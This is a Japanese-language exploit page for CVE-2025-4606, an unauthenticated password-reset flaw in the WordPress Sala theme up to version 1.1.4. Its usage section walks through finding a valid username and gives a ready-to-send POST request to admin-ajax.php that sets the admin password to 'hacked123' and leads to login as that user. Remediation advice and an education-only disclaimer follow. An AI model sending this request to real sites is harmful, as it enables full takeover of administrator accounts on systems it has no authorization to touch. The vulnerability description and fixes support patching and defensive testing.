CVE-2025-4606- WordPress Sala テーマ <= 1.1.4 - パスワードリセット/アカウント乗っ取りによる未認証の権限昇格

🔥 脆弱性の概要
WordPressテーマSalaのバージョン <= 1.1.4 は、未認証の権限昇格 の脆弱性の影響を受けます。この欠陥により、未認証の攻撃者 は、リクエスト元の本人確認を行わずに公開されているAJAXエンドポイントを直接呼び出すことで、管理者を含む任意のユーザーのパスワードをリセットできます。

この脆弱性は、wp_ajax_nopriv_ に登録されている change_password_ajax 関数に起因します。この関数は、リクエストが承認されているかどうかを確認せずに、任意の有効なユーザーログインに対して新しいパスワードを設定します。

🔍 影響を受けるテーマ

• テーマ名： Sala – Startup & SaaS WordPress Theme
• 影響を受けるバージョン： <= 1.1.4
• 脆弱性の種類： 未認証の権限昇格
• CVE ID： CVE-2025-4606
• CVSSスコア： 9.8（緊急）
• 影響： 完全なアカウント乗っ取り（管理者を含む）

🧪 エクスプロイトの特徴

• 🔓 認証は不要
• 🔄 任意のユーザーのパスワードを上書き — 有効なログイン名を指定するだけ
• 📬 AJAXエンドポイントを標的にする /wp-admin/admin-ajax.php?action=change_password_ajax
• 🧠 即座に動作 — 攻撃者が有効なユーザー名（例：admin）を知っている場合

🧠 研究者

• クレジット：Thai An

🚀 使用方法

1. ターゲットのWordPressサイトで有効なユーザー名を特定します。これは以下の方法で確認できます：

   • 公開されている投稿者アーカイブのURL（/author/username）

2. 以下のPOSTリクエストを作成して、ユーザーのパスワードをリセットします：

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: targetsite.com
   Content-Type: application/x-www-form-urlencoded
   
   action=change_password_ajax&login=admin&new_password=hacked123
   

3. 成功した場合、上記の例の新しいパスワード（hacked123）を使用して、対象のユーザーとしてログインできます。

4. /wp-login.php にアクセスして、ログインできることを確認します。

🛠 修正の推奨事項

• テーマ開発者は、wp_ajax_nopriv_change_password_ajax フックを削除するか、セキュリティを強化する必要があります。
• 機密性の高い操作を許可する前に、常に is_user_logged_in() を確認し、ユーザーの本人確認を行う必要があります。
• CSRFや未認証の悪用を防ぐために、nonceチェックを実装する必要があります。

🔒 免責事項：
この情報は、教育および許可されたペネトレーションテストの目的のみで提供されています。システムの不正な悪用は違法かつ非倫理的です。

📚 参考情報：

• Wordfenceアドバイザリ